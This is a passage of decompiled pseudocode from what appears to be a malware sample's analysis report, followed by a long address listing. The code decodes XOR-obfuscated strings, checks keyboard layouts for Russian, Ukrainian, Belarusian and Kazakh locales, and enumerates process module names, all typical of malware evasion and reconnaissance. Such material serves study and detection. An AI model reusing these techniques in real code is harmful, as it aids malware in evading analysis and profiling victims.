											_t690 =  &(_t690[2]);
										}
									}
									_t341 =  *0x450e9c; // 0x0
									__eflags = _t341;
									if(_t341 != 0) {
										asm("movups xmm0, [0x450e8c]");
										asm("movaps xmm1, [0x439d20]");
										asm("pxor xmm1, xmm0");
										 *0x450e9c = _t341 ^ 0x0000002e;
										asm("movups [0x450e8c], xmm1");
									}
									_t691 = _t690 - 0x18;
									_t548 = 0x450e8c;
									_t618 = _t691;
									_t150 = _t548 + 1; // 0x450e8d
									_t648 = _t150;
									 *_t618 = 0;
									_t618[4] = 0;
									_t618[5] = 0xf;
									do {
										_t342 =  *_t548;
										_t548 = _t548 + 1;
										__eflags = _t342;
									} while (_t342 != 0);
									E004026C0(_t518, _t618, 0x450e8c, _t548 - _t648);
									_t344 = E00404490(_t518,  &_v88, _t618); // executed
									_t692 =  &(_t691[6]);
									_v48 = 0x2e6d;
									__eflags = _t344;
									_t345 =  *0x450ee4; // 0x8000000e
									_v89 = _t344 != 0;
									__eflags = _t345 -  *((intOrPtr*)(_t635 + 4));
									if(_t345 >  *((intOrPtr*)(_t635 + 4))) {
										E0040EEC8(_t345, 0x450ee4);
										_t692 =  &(_t692[1]);
										__eflags =  *0x450ee4 - 0xffffffff;
										if(__eflags == 0) {
											asm("movaps xmm0, [0x439d90]");
											asm("movups [0x450f54], xmm0");
											 *0x450f64 = _v48;
											E0040F1DA( &_v88, __eflags, 0x42cde0);
											E0040EE7E(0x450ee4);
											_t692 =  &(_t692[2]);
										}
									}
									__eflags =  *0x450f65;
									if( *0x450f65 != 0) {
										asm("movups xmm0, [0x450f54]");
										_t445 = 0x10;
										asm("movaps xmm1, [0x439d20]");
										asm("pxor xmm1, xmm0");
										asm("movups [0x450f54], xmm1");
										do {
											 *(_t445 + 0x450f54) =  *(_t445 + 0x450f54) ^ 0x0000002e;
											_t445 = _t445 + 1;
											__eflags = _t445 - 0x12;
										} while (_t445 < 0x12);
									}
									_t693 = _t692 - 0x18;
									_t552 = 0x450f54;
									_t619 = _t693;
									_t160 = _t552 + 1; // 0x450f55
									_t649 = _t160;
									 *_t619 = 0;
									_t619[4] = 0;
									_t619[5] = 0xf;
									do {
										_t346 =  *_t552;
										_t552 = _t552 + 1;
										__eflags = _t346;
									} while (_t346 != 0);
									E004026C0(_t518, _t619, 0x450f54, _t552 - _t649);
									_t348 = E00404490(_t518,  &_v88, _t619); // executed
									_t688 =  &(_t693[6]);
									__eflags = _t348;
									if(_t348 == 0) {
										L89:
										_t646 = 0;
										__eflags = 0;
									} else {
										__eflags = _v90;
										if(_v90 == 0) {
											goto L89;
										} else {
											__eflags = _v89;
											if(_v89 == 0) {
												goto L89;
											} else {
												_t646 = 1;
											}
										}
									}
									_t620 = _v68;
									__eflags = _t620 - 0x10;
									if(_t620 < 0x10) {
										L94:
										 *[fs:0x0] = _v36;
										_pop(_t636);
										_pop(_t650);
										__eflags = _v44 ^ _t667;
										return E0040EB3F(_t646, _t518, _v44 ^ _t667, _t620, _t636, _t650);
									} else {
										_t560 = _v88;
										_t620 = _t620 + 1;
										_t351 = _t560;
										__eflags = _t620 - 0x1000;
										if(_t620 < 0x1000) {
											L93:
											_push(_t620);
											E0040ED7F(_t560);
											goto L94;
										} else {
											_t560 =  *(_t560 - 4);
											_t620 = _t620 + 0x23;
											__eflags = _t351 - _t560 + 0xfffffffc - 0x1f;
											if(__eflags > 0) {
												goto L96;
											} else {
												goto L93;
											}
										}
									}
								} else {
									_t593 = _v120;
									_t627 = _t615 + 1;
									_t462 = _t593;
									__eflags = _t627 - 0x1000;
									if(_t627 < 0x1000) {
										L59:
										_push(_t627);
										E0040ED7F(_t593);
										_t688 =  &(_t688[2]);
										goto L60;
									} else {
										_t560 =  *(_t593 - 4);
										_t620 = _t627 + 0x23;
										__eflags = _t462 - _t560 + 0xfffffffc - 0x1f;
										if(__eflags > 0) {
											E004134A7(_t518, _t620, __eflags);
											L96:
											E004134A7(_t518, _t620, __eflags);
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											_push(_t518);
											_t520 = _t688;
											_t699 = (_t688 - 0x00000008 & 0xfffffff8) + 4;
											_push(_t667);
											_v560 = _t520[1];
											_t670 = _t699;
											_push(0xffffffff);
											_push(0x42c4f2);
											_push( *[fs:0x0]);
											_push(_t520);
											_t700 = _t699 - 0x630;
											_t357 =  *0x43d054; // 0x298e9dc2
											_t358 = _t357 ^ _t670;
											_v584 = _t358;
											_push(_t646);
											_push(_t635);
											_push(_t358);
											 *[fs:0x0] =  &_v576;
											_t651 = _t560;
											_v2120 = _t651;
											_v2160 = _t651;
											asm("xorps xmm0, xmm0");
											_v2124 = 0;
											asm("movq [esi], xmm0");
											 *(_t651 + 8) = 0;
											 *_t651 = 0;
											 *(_t651 + 4) = 0;
											 *(_t651 + 8) = 0;
											_v568 = 0;
											_v2124 = 1;
											_t361 = GetKeyboardLayoutList(0x400,  &_v2116);
											_t637 = 0;
											_v2120 = _t361;
											__eflags = _t361;
											if(_t361 <= 0) {
												L109:
												 *[fs:0x0] = _v48;
												_pop(_t638);
												_pop(_t652);
												__eflags = _v56 ^ _t670;
												return E0040EB3F(_t651, _t520, _v56 ^ _t670, _t620, _t638, _t652);
											} else {
												do {
													_t364 =  *(_t670 + _t637 * 4 - 0x610) & 0x0000ffff;
													_v1600 = _t364;
													GetLocaleInfoA(_t364, 2,  &_v564, 0x1f4); // executed
													_t366 =  &_v564;
													_v1628 = 0;
													_v1612 = 0;
													_t621 = _t366 + 1;
													_v1608 = 0xf;
													_v1628 = 0;
													do {
														_t566 =  *_t366;
														_t366 = _t366 + 1;
														__eflags = _t566;
													} while (_t566 != 0);
													E004026C0(_t520,  &_v1628,  &_v564, _t366 - _t621);
													_t568 = _v1600;
													_v1604 = _t568;
													_v40 = 1;
													_t370 =  *(_t651 + 4);
													__eflags = _t370 -  *(_t651 + 8);
													if(_t370 ==  *(_t651 + 8)) {
														_push( &_v1628);
														_push(_t370);
														E0040CBC0(_t520, _t651, _t637, _t651);
														_t620 = _v1608;
													} else {
														asm("movups xmm0, [ebp-0x638]");
														_t620 = 0xf;
														_v1628 = 0;
														asm("movups [eax], xmm0");
														asm("movq xmm0, [ebp-0x628]");
														asm("movq [eax+0x10], xmm0");
														 *(_t370 + 0x18) = _t568;
														 *(_t651 + 4) =  *(_t651 + 4) + 0x1c;
													}
													_v40 = 0;
													__eflags = _t620 - 0x10;
													if(_t620 < 0x10) {
														goto L108;
													} else {
														_t571 = _v1628;
														_t620 = _t620 + 1;
														_t372 = _t571;
														__eflags = _t620 - 0x1000;
														if(_t620 < 0x1000) {
															L107:
															_push(_t620);
															E0040ED7F(_t571);
															_t700 = _t700 + 8;
															goto L108;
														} else {
															_t571 =  *(_t571 - 4);
															_t620 = _t620 + 0x23;
															__eflags = _t372 - _t571 + 0xfffffffc - 0x1f;
															if(__eflags > 0) {
																E004134A7(_t520, _t620, __eflags);
																asm("int3");
																_push(_t670);
																_t672 = _t700;
																_push(0xffffffff);
																_push(0x42c535);
																_push( *[fs:0x0]);
																_t703 = _t700 - 0x5c;
																_t378 =  *0x43d054; // 0x298e9dc2
																_t379 = _t378 ^ _t672;
																_v2192 = _t379;
																_push(_t520);
																_push(_t651);
																_push(_t637);
																_push(_t379);
																 *[fs:0x0] =  &_v2188;
																_t522 = 0;
																_t572 =  &_v2212;
																asm("xorps xmm0, xmm0");
																_v2248 = 0;
																asm("movq [ebp-0x24], xmm0");
																_v2204 = 0;
																L97(); // executed
																_v2180 = 0;
																_t381 = _v2208;
																_t639 = _v2212;
																_v2252 = _t381;
																__eflags = _t639 - _t381;
																if(_t639 == _t381) {
																	L138:
																	_t523 = 0;
																	__eflags = 0;
																	goto L139;
																} else {
																	_v64 = 0x5d5d5b7c;
																	_v60 = 0x2e404f47;
																	_t658 =  *( *[fs:0x2c]);
																	_v120 = _t658;
																	do {
																		E0040BB10(_t522,  &_v104, _t620, _t639, _t639);
																		_v80 =  *((intOrPtr*)(_t639 + 0x18));
																		_v44 = 1;
																		_t414 =  *0x450fe0; // 0x8000000f
																		__eflags = _t414 -  *((intOrPtr*)(_t658 + 4));
																		if(_t414 >  *((intOrPtr*)(_t658 + 4))) {
																			E0040EEC8(_t414, 0x450fe0);
																			_t703 = _t703 + 4;
																			__eflags =  *0x450fe0 - 0xffffffff;
																			if(__eflags == 0) {
																				_t232 =  &_v64; // 0x5d5d5b7c
																				 *0x450d20 =  *_t232;
																				_t233 =  &_v60; // 0x2e404f47
																				 *0x450d24 =  *_t233;
																				E0040F1DA( &_v104, __eflags, 0x42ce60);
																				E0040EE7E(0x450fe0);
																				_t703 = _t703 + 8;
																			}
																		}
																		_t415 =  *0x450d27; // 0x0
																		__eflags = _t415;
																		if(_t415 != 0) {
																			 *0x450d20 =  *0x450d20 ^ 0x0000002e;
																			 *0x450d21 =  *0x450d21 ^ 0x0000002e;
																			 *0x450d22 =  *0x450d22 ^ 0x0000002e;
																			 *0x450d23 =  *0x450d23 ^ 0x0000002e;
																			 *0x450d24 =  *0x450d24 ^ 0x0000002e;
																			 *0x450d25 =  *0x450d25 ^ 0x0000002e;
																			 *0x450d26 =  *0x450d26 ^ 0x0000002e;
																			_t439 = _t415 ^ 0x0000002e;
																			__eflags = _t439;
																			 *0x450d27 = _t439;
																		}
																		_t416 = 0x450d20;
																		_v144 = 0;
																		_v128 = 0;
																		_v124 = 0xf;
																		_t237 =  &(_t416[1]); // 0x450d21
																		_t626 = _t237;
																		do {
																			_t589 =  *_t416;
																			_t416 =  &(_t416[1]);
																			__eflags = _t589;
																		} while (_t589 != 0);
																		E004026C0(_t522,  &_v144, 0x450d20, _t416 - _t626);
																		_t651 = _v104;
																		_t620 = _v88;
																		__eflags = _v124 - 0x10;
																		_v112 = _t522 | 0x00000001;
																		_t523 = _v144;
																		_t420 =  >=  ? _t523 :  &_v144;
																		__eflags = _v84 - 0x10;
																		_t572 =  >=  ? _t651 :  &_v104;
																		_t421 = E004028A0(_t572, _t620, _t572,  >=  ? _t523 :  &_v144, _v128);
																		_t703 = _t703 + 0xc;
																		__eflags = _t421 - 0xffffffff;
																		if(_t421 != 0xffffffff) {
																			L122:
																			_v105 = 1;
																		} else {
																			__eflags = _v84 - 0x10;
																			_t620 = _v88;
																			_t572 =  >=  ? _t651 :  &_v104;
																			_t438 = E004028A0(_t572, _t620, _t572, 0x439a6c, 7);
																			_t703 = _t703 + 0xc;
																			_v105 = 0;
																			__eflags = _t438 - 0xffffffff;
																			if(_t438 != 0xffffffff) {
																				goto L122;
																			}
																		}
																		_v112 = _v112 & 0xfffffffe;
																		_t422 = _v124;
																		__eflags = _t422 - 0x10;
																		if(_t422 < 0x10) {
																			L127:
																			__eflags = _v105;
																			if(_v105 != 0) {
																				L143:
																				_t423 = _v84;
																				__eflags = _t423 - 0x10;
																				if(_t423 < 0x10) {
																					L147:
																					_t639 = _v76;
																					_t523 = 1;
																					L139:
																					__eflags = _t639;
																					if(_t639 == 0) {
																						L149:
																						 *[fs:0x0] = _v52;
																						_pop(_t640);
																						_pop(_t653);
																						_pop(_t524);
																						__eflags = _v56 ^ _t672;
																						return E0040EB3F(_t523, _t524, _v56 ^ _t672, _t620, _t640, _t653);
																					} else {
																						_push(_t572);
																						E0040D300(_t639, _v72, _t639, _t651);
																						_t654 = _v76;
																						_t705 = _t703 + 4;
																						_t620 = (0x92492493 * (_v68 - _t654) >> 0x20) + _v68 - _t654 >> 4;
																						_t390 = _t654;
																						_t582 = ((_t620 >> 0x1f) + _t620) * 8 - (_t620 >> 0x1f) + _t620 << 2;
																						__eflags = _t582 - 0x1000;
																						if(_t582 < 0x1000) {
																							L148:
																							_push(_t582);
																							E0040ED7F(_t654);
																							goto L149;
																						} else {
																							_t654 =  *((intOrPtr*)(_t654 - 4));
																							_t582 = _t582 + 0x23;
																							__eflags = _t390 - _t654 + 0xfffffffc - 0x1f;
																							if(__eflags > 0) {
																								E004134A7(_t523, _t620, __eflags);
																								goto L151;
																							} else {
																								goto L148;
																							}
																						}
																					}
																				} else {
																					_t279 = _t423 + 1; // 0x11
																					_t572 = _t279;
																					_t424 = _t651;
																					__eflags = _t572 - 0x1000;
																					if(_t572 < 0x1000) {
																						L146:
																						_push(_t572);
																						E0040ED7F(_t651);
																						_t703 = _t703 + 8;
																						goto L147;
																					} else {
																						_t654 =  *((intOrPtr*)(_t651 - 4));
																						_t582 = _t572 + 0x23;
																						__eflags = _t424 - _t654 + 0xfffffffc - 0x1f;
																						if(__eflags > 0) {
																							goto L151;
																						} else {
																							goto L146;
																						}
																					}
																				}
																			} else {
																				_t428 = _v80;
																				__eflags = _t428 - 0x419;
																				if(_t428 == 0x419) {
																					goto L143;
																				} else {
																					__eflags = _t428 - 0x422;
																					if(_t428 == 0x422) {
																						goto L143;
																					} else {
																						__eflags = _t428 - 0x423;
																						if(_t428 == 0x423) {
																							goto L143;
																						} else {
																							__eflags = _t428 - 0x43f;
																							if(_t428 == 0x43f) {
																								goto L143;
																							} else {
																								_v44 = 0;
																								_t429 = _v84;
																								__eflags = _t429 - 0x10;
																								if(_t429 < 0x10) {
																									goto L136;
																								} else {
																									_t263 = _t429 + 1; // 0x11
																									_t572 = _t263;
																									_t430 = _t651;
																									__eflags = _t572 - 0x1000;
																									if(_t572 < 0x1000) {
																										L135:
																										_push(_t572);
																										E0040ED7F(_t651);
																										_t703 = _t703 + 8;
																										goto L136;
																									} else {
																										_t654 =  *((intOrPtr*)(_t651 - 4));
																										_t582 = _t572 + 0x23;
																										__eflags = _t430 - _t654 + 0xfffffffc - 0x1f;
																										if(__eflags > 0) {
																											goto L151;
																										} else {
																											goto L135;
																										}
																									}
																								}
																							}
																						}
																					}
																				}
																			}
																		} else {
																			_t256 = _t422 + 1; // 0x11
																			_t572 = _t256;
																			_t434 = _t523;
																			__eflags = _t572 - 0x1000;
																			if(_t572 < 0x1000) {
																				L126:
																				_push(_t572);
																				E0040ED7F(_t523);
																				_t651 = _v104;
																				_t703 = _t703 + 8;
																				goto L127;
																			} else {
																				_t523 =  *(_t523 - 4);
																				_t582 = _t572 + 0x23;
																				__eflags = _t434 - _t523 + 0xfffffffc - 0x1f;
																				if(__eflags > 0) {
																					L151:
																					E004134A7(_t523, _t620, __eflags);
																					asm("int3");
																					asm("int3");
																					_push(_t672);
																					_t674 = _t705;
																					_t396 =  *0x43d054; // 0x298e9dc2
																					_v2304 = _t396 ^ _t674;
																					_push(_t654);
																					_push(_t639);
																					_t641 = _t582;
																					_v2572 = _t641;
																					_v2572 = _t641;
																					_t398 =  *0x439a7c; // 0x3e
																					asm("movq xmm0, [0x439a74]");
																					_v2556 = _t398;
																					asm("movq [ebp-0x108], xmm0");
																					E00410A80(_t641,  &_v2554, 0, 0xfa);
																					_t656 = OpenProcess(0x410, 0, _t620);
																					__eflags = _t656;
																					if(_t656 != 0) {
																						_t409 =  &_v316;
																						__imp__K32EnumProcessModules(_t656, _t409, 4,  &_v312); // executed
																						__eflags = _t409;
																						if(_t409 != 0) {
																							__imp__K32GetModuleBaseNameA(_t656, _v316,  &_v308, 0x104); // executed
																						}
																					}
																					FindCloseChangeNotification(_t656); // executed
																					_t583 =  &_v308;
																					 *_t641 = 0;
																					_t641[4] = 0;
																					_t625 = _t583 + 1;
																					_t641[5] = 0xf;
																					 *_t641 = 0;
																					do {
																						_t403 =  *_t583;
																						_t583 = _t583 + 1;
																						__eflags = _t403;
																					} while (_t403 != 0);
																					E004026C0(_t523, _t641,  &_v308, _t583 - _t625);
																					_pop(_t642);
																					__eflags = _v48 ^ _t674;
																					_pop(_t657);
																					return E0040EB3F(_t641, _t523, _v48 ^ _t674, _t625, _t642, _t657);
																				} else {
																					goto L126;
																				}
																			}
																		}
																		goto L158;
																		L136:
																		_t522 = _v112;
																		_t639 = _t639 + 0x1c;
																		_t658 = _v120;
																		__eflags = _t639 - _v116;
																	} while (_t639 != _v116);
																	_t639 = _v76;
																	goto L138;
																}
															} else {
																goto L107;
															}
														}
													}
													goto L158;
													L108:
													_t637 = _t637 + 1;
													__eflags = _t637 - _v1592;
												} while (_t637 < _v1592);
												goto L109;
											}
										} else {
											goto L59;
										}
									}
								}
							} else {
								goto L13;
							}
						}
					}
				}
				L158:
			}

0x00404490
0x00404491
0x00404499
0x004044a0
0x004044a4
0x004044a6
0x004044a8
0x004044b3
0x004044b4
0x004044b5
0x004044bb
0x004044c0
0x004044c2
0x004044c5
0x004044c6
0x004044c7
0x004044cb
0x004044d1
0x004044d8
0x004044db
0x004044e0
0x004044e7
0x004044ee
0x004044f5
0x00404500
0x00404504
0x00404509
0x0040450d
0x00404512
0x0040451a
0x00404543
0x00404555
0x0040451c
0x00404522
0x00404525
0x0040452d
0x00404531
0x00404535
0x00404535
0x00404567
0x0040456d
0x00404573
0x00404578
0x0040465b
0x0040465b
0x0040465e
0x00404661
0x00404669
0x004046e8
0x004046e8
0x00000000
0x00404670
0x00404670
0x00404674
0x00404683
0x0040468e
0x00404691
0x00404694
0x00404699
0x0040469e
0x004046a4
0x004046a7
0x00000000
0x00000000
0x004046b0
0x004046dd
0x004046dd
0x004046e6
0x00000000
0x00000000
0x00000000
0x00000000
0x004046b2
0x004046b2
0x004046b2
0x004046b5
0x004046bd
0x004046d3
0x004046d3
0x004046d5
0x004046da
0x00000000
0x004046bf
0x004046bf
0x004046c2
0x004046cd
0x00000000
0x00000000
0x00000000
0x00000000
0x004046cd
0x004046bd
0x00000000
0x004046b0
0x004047c7
0x004047ca
0x004047f3
0x004047f3
0x004046ea
0x004046ea
0x004046f0
0x0040471e
0x0040471e
0x00404721
0x00404728
0x0040472f
0x00404735
0x0040479f
0x0040479f
0x004047a5
0x00404807
0x0040480c
0x00404814
0x00404815
0x00404826
0x004047a7
0x004047a7
0x004047aa
0x004047ab
0x004047b3
0x004047fd
0x004047fd
0x004047ff
0x00000000
0x004047b5
0x004047b5
0x004047b8
0x004047c3
0x00000000
0x004047c5
0x00000000
0x004047c5
0x004047c3
0x004047b3
0x00404737
0x0040473a
0x0040473b
0x00404748
0x0040474b
0x00404752
0x0040475f
0x00404761
0x0040476a
0x00404780
0x00404780
0x00404782
0x00404787
0x0040478a
0x00404791
0x00404798
0x00000000
0x0040476c
0x0040476c
0x0040476f
0x0040477a
0x00000000
0x00000000
0x00000000
0x00000000
0x0040477a
0x0040476a
0x004046f2
0x004046f2
0x004046f5
0x004046f6
0x004046fe
0x00404714
0x00404714
0x00404716
0x0040471b
0x00000000
0x00404700
0x00404700
0x00404703
0x0040470e
0x00000000
0x00000000
0x00000000
0x00000000
0x0040470e
0x004046fe
0x004047cc
0x004047cc
0x004047cc
0x004047cf
0x004047d1
0x004047d7
0x004047e9
0x004047e9
0x004047eb
0x004047f0
0x00000000
0x004047d9
0x004047d9
0x004047dc
0x004047e4
0x004047e7
0x00000000
0x00000000
0x00000000
0x00000000
0x004047e7
0x004047d7
0x004047ca
0x0040457e
0x0040457e
0x0040457e
0x004045b2
0x004045b2
0x004045b2
0x004045b4
0x004045b5
0x004045c6
0x004045cb
0x004045cf
0x004045d5
0x00404600
0x00404601
0x00404605
0x0040460a
0x004045d7
0x004045d7
0x004045db
0x004045e1
0x004045e6
0x004045ea
0x004045ed
0x004045f2
0x004045f7
0x004045f7
0x0040460d
0x00404614
0x00404642
0x0040464a
0x0040464e
0x00404590
0x00404590
0x00404596
0x0040459d
0x004045a4
0x004045a7
0x004045ae
0x00000000
0x00404654
0x00404655
0x00000000
0x00404655
0x00404616
0x00404616
0x00404619
0x0040461a
0x00404622
0x00404638
0x00404638
0x0040463a
0x0040463f
0x00000000
0x00404624
0x00404624
0x00404627
0x00404632
0x00404827
0x00404827
0x0040482c
0x0040482c
0x00404831
0x00404832
0x00404833
0x00404834
0x00404835
0x00404836
0x00404837
0x00404838
0x00404839
0x0040483a
0x0040483b
0x0040483c
0x0040483d
0x0040483e
0x0040483f
0x00404840
0x00404841
0x00404849
0x0040484c
0x00404850
0x00404854
0x00404856
0x00404858
0x00404863
0x00404864
0x00404865
0x00404868
0x0040486d
0x0040486f
0x00404872
0x00404873
0x00404874
0x00404878
0x00404884
0x0040488b
0x00404892
0x00404899
0x0040489b
0x004048a0
0x004048a6
0x004048ad
0x004048b2
0x004048b5
0x004048bc
0x004048be
0x004048cb
0x004048d3
0x004048d8
0x004048e5
0x004048ea
0x004048ea
0x004048bc
0x004048ed
0x004048f4
0x004048f6
0x004048f6
0x00404900
0x00404900
0x00404907
0x00404908
0x00404908
0x00404900
0x0040490d
0x00404912
0x00404919
0x00404920
0x00404927
0x0040492b
0x0040492b
0x00404930
0x00404930
0x00404932
0x00404933
0x00404933
0x00404942
0x00404947
0x00404951
0x00404955
0x0040495a
0x0040495f
0x00404961
0x00404968
0x0040496a
0x00404971
0x00404974
0x0040497b
0x0040497f
0x00404982
0x00404982
0x00404984
0x00404985
0x00404985
0x00404990
0x00404995
0x00404999
0x0040499c
0x0040499f
0x004049cd
0x004049cd
0x004049d2
0x004049d7
0x004049de
0x004049e5
0x004049e9
0x004049eb
0x004049f0
0x004049f3
0x00404a16
0x00404a1a
0x00404a1d
0x00404a20
0x00404a22
0x004049f5
0x004049f5
0x004049fb
0x004049fe
0x00404a02
0x00404a04
0x00404a07
0x00404a08
0x00404a0d
0x00404a10
0x00404a10
0x00404a27
0x00404a2c
0x00404a33
0x00404a3a
0x00404a3e
0x00404a44
0x00404a4b
0x00404a50
0x00404a53
0x00404a5a
0x00404a5c
0x00404a69
0x00404a71
0x00404a76
0x00404a83
0x00404a88
0x00404a88
0x00404a5a
0x00404a8b
0x00404a90
0x00404a92
0x00404a94
0x00404a9b
0x00404aa2
0x00404aa9
0x00404ab0
0x00404ab7
0x00404abe
0x00404ac5
0x00404acc
0x00404acc
0x00404ace
0x00404ace
0x00404ad3
0x00404ad6
0x00404adb
0x00404add
0x00404add
0x00404ae0
0x00404ae6
0x00404aed
0x00404af4
0x00404af4
0x00404af6
0x00404af7
0x00404af7
0x00404b05
0x00404b0d
0x00404b12
0x00404b15
0x00404b19
0x00404b1b
0x00404b20
0x00404b24
0x00404b2a
0x00404b31
0x00404b36
0x00404b39
0x00404b40
0x00404b42
0x00404b51
0x00404b58
0x00404b5d
0x00404b6a
0x00404b6f
0x00404b6f
0x00404b40
0x00404b72
0x00404b77
0x00404b79
0x00404b7b
0x00404b84
0x00404b8b
0x00404b8f
0x00404b94
0x00404b94
0x00404b9b
0x00404b9e
0x00404ba3
0x00404ba5
0x00404ba5
0x00404ba8
0x00404bae
0x00404bb5
0x00404bc0
0x00404bc0
0x00404bc2
0x00404bc3
0x00404bc3
0x00404bd1
0x00404bd9
0x00404bde
0x00404be1
0x00404be7
0x00404be9
0x00404bee
0x00404bf2
0x00404bf8
0x00404bff
0x00404c04
0x00404c07
0x00404c0e
0x00404c10
0x00404c20
0x00404c27
0x00404c2d
0x00404c3a
0x00404c3f
0x00404c3f
0x00404c0e
0x00404c42
0x00404c49
0x00404c4b
0x00404c52
0x00404c57
0x00404c5e
0x00404c62
0x00404c70
0x00404c70
0x00404c77
0x00404c78
0x00404c78
0x00404c70
0x00404c7d
0x00404c80
0x00404c85
0x00404c87
0x00404c87
0x00404c8a
0x00404c90
0x00404c97
0x00404ca0
0x00404ca0
0x00404ca2
0x00404ca3
0x00404ca3
0x00404cb1
0x00404cb9
0x00404cbe
0x00404cc1
0x00404cc3
0x00404cd8
0x00404cd8
0x00404cd8
0x00404cc5
0x00404cc5
0x00404cc9
0x00000000
0x00404ccb
0x00404ccb
0x00404ccf
0x00000000
0x00404cd1
0x00404cd1
0x00404cd1
0x00404ccf
0x00404cc9
0x00404cda
0x00404cdd
0x00404ce0
0x00404d0a
0x00404d0f
0x00404d17
0x00404d18
0x00404d1c
0x00404d29
0x00404ce2
0x00404ce2
0x00404ce5
0x00404ce6
0x00404ce8
0x00404cee
0x00404d00
0x00404d00
0x00404d02
0x00000000
0x00404cf0
0x00404cf0
0x00404cf3
0x00404cfb
0x00404cfe
0x00000000
0x00000000
0x00000000
0x00000000
0x00404cfe
0x00404cee
0x004049a1
0x004049a1
0x004049a4
0x004049a5
0x004049a7
0x004049ad
0x004049c3
0x004049c3
0x004049c5
0x004049ca
0x00000000
0x004049af
0x004049af
0x004049b2
0x004049ba
0x004049bd
0x00404d2a
0x00404d2f
0x00404d2f
0x00404d34
0x00404d35
0x00404d36
0x00404d37
0x00404d38
0x00404d39
0x00404d3a
0x00404d3b
0x00404d3c
0x00404d3d
0x00404d3e
0x00404d3f
0x00404d40
0x00404d41
0x00404d49
0x00404d4c
0x00404d50
0x00404d54
0x00404d56
0x00404d58
0x00404d63
0x00404d64
0x00404d65
0x00404d6b
0x00404d70
0x00404d72
0x00404d75
0x00404d76
0x00404d77
0x00404d7b
0x00404d81
0x00404d83
0x00404d89
0x00404d8f
0x00404d92
0x00404d9c
0x00404da0
0x00404da7
0x00404dad
0x00404db4
0x00404dc1
0x00404dce
0x00404dd8
0x00404dde
0x00404de0
0x00404de6
0x00404de8
0x00404efa
0x00404eff
0x00404f07
0x00404f08
0x00404f0c
0x00404f19
0x00404df0
0x00404df0
0x00404df0
0x00404e07
0x00404e0d
0x00404e13
0x00404e19
0x00404e23
0x00404e2d
0x00404e30
0x00404e3a
0x00404e41
0x00404e41
0x00404e43
0x00404e44
0x00404e44
0x00404e58
0x00404e5d
0x00404e63
0x00404e69
0x00404e70
0x00404e73
0x00404e76
0x00404eaa
0x00404eab
0x00404eae
0x00404eb3
0x00404e78
0x00404e78
0x00404e7f
0x00404e84
0x00404e8b
0x00404e8e
0x00404e96
0x00404e9b
0x00404e9e
0x00404e9e
0x00404eb9
0x00404ebd
0x00404ec0
0x00000000
0x00404ec2
0x00404ec2
0x00404ec8
0x00404ec9
0x00404ecb
0x00404ed1
0x00404ee3
0x00404ee3
0x00404ee5
0x00404eea
0x00000000
0x00404ed3
0x00404ed3
0x00404ed6
0x00404ede
0x00404ee1
0x00404f1a
0x00404f1f
0x00404f20
0x00404f21
0x00404f23
0x00404f25
0x00404f30
0x00404f31
0x00404f34
0x00404f39
0x00404f3b
0x00404f3e
0x00404f3f
0x00404f40
0x00404f41
0x00404f45
0x00404f4b
0x00404f4d
0x00404f50
0x00404f53
0x00404f56
0x00404f5b
0x00404f5e
0x00404f63
0x00404f66
0x00404f69
0x00404f6c
0x00404f6f
0x00404f71
0x00405185
0x00405185
0x00405185
0x00000000
0x00404f77
0x00404f7d
0x00404f84
0x00404f8b
0x00404f8d
0x00404f90
0x00404f94
0x00404f9c
0x00404f9f
0x00404fa3
0x00404fa8
0x00404fae
0x00404fb5
0x00404fba
0x00404fbd
0x00404fc4
0x00404fc6
0x00404fc9
0x00404fce
0x00404fd6
0x00404fdb
0x00404fe8
0x00404fed
0x00404fed
0x00404fc4
0x00404ff0
0x00404ff5
0x00404ff7
0x00404ff9
0x00405000
0x00405007
0x0040500e
0x00405015
0x0040501c
0x00405023
0x0040502a
0x0040502a
0x0040502c
0x0040502c
0x00405031
0x00405036
0x0040503d
0x00405044
0x0040504b
0x0040504b
0x00405050
0x00405050
0x00405052
0x00405053
0x00405053
0x00405062
0x0040506a
0x00405070
0x00405079
0x0040507d
0x00405080
0x00405083
0x00405086
0x0040508b
0x0040508f
0x00405094
0x00405097
0x0040509a
0x004050c2
0x004050c2
0x0040509c
0x0040509c
0x004050a3
0x004050a8
0x004050b1
0x004050b6
0x004050b9
0x004050bd
0x004050c0
0x00000000
0x00000000
0x004050c0
0x004050c6
0x004050ca
0x004050cd
0x004050d0
0x00405100
0x00405100
0x00405104
0x004051e0
0x004051e0
0x004051e3
0x004051e6
0x0040520f
0x0040520f
0x00405212
0x00405187
0x00405187
0x00405189
0x00405226
0x0040522b
0x00405233
0x00405234
0x00405235
0x00405239
0x00405243
0x0040518f
0x00405192
0x00405195
0x004051a2
0x004051a5
0x004051ae
0x004051c1
0x004051c3
0x004051c6
0x004051cc
0x0040521c
0x0040521c
0x0040521e
0x00000000
0x004051ce
0x004051ce
0x004051d1
0x004051d9
0x004051dc
0x00405244
0x00000000
0x004051de
0x00000000
0x004051de
0x004051dc
0x004051cc
0x004051e8
0x004051e8
0x004051e8
0x004051eb
0x004051ed
0x004051f3
0x00405205
0x00405205
0x00405207
0x0040520c
0x00000000
0x004051f5
0x004051f5
0x004051f8
0x00405200
0x00405203
0x00000000
0x00000000
0x00000000
0x00000000
0x00405203
0x004051f3
0x0040510a
0x0040510a
0x0040510d
0x00405112
0x00000000
0x00405118
0x00405118
0x0040511d
0x00000000
0x00405123
0x00405123
0x00405128
0x00000000
0x0040512e
0x0040512e
0x00405133
0x00000000
0x00405139
0x00405139
0x0040513d
0x00405140
0x00405143
0x00000000
0x00405145
0x00405145
0x00405145
0x00405148
0x0040514a
0x00405150
0x00405166
0x00405166
0x00405168
0x0040516d
0x00000000
0x00405152
0x00405152
0x00405155
0x0040515d
0x00405160
0x00000000
0x00000000
0x00000000
0x00000000
0x00405160
0x00405150
0x00405143
0x00405133
0x00405128
0x0040511d
0x00405112
0x004050d2
0x004050d2
0x004050d2
0x004050d5
0x004050d7
0x004050dd
0x004050f3
0x004050f3
0x004050f5
0x004050fa
0x004050fd
0x00000000
0x004050df
0x004050df
0x004050e2
0x004050ea
0x004050ed
0x00405249
0x00405249
0x0040524e
0x0040524f
0x00405250
0x00405251
0x00405259
0x00405260
0x00405263
0x00405264
0x00405265
0x00405269
0x0040526f
0x00405275
0x0040527b
0x00405288
0x00405298
0x004052a0
0x004052b6
0x004052b8
0x004052ba
0x004052c5
0x004052cd
0x004052d3
0x004052d5
0x004052ea
0x004052ea
0x004052d5
0x004052f1
0x004052f7
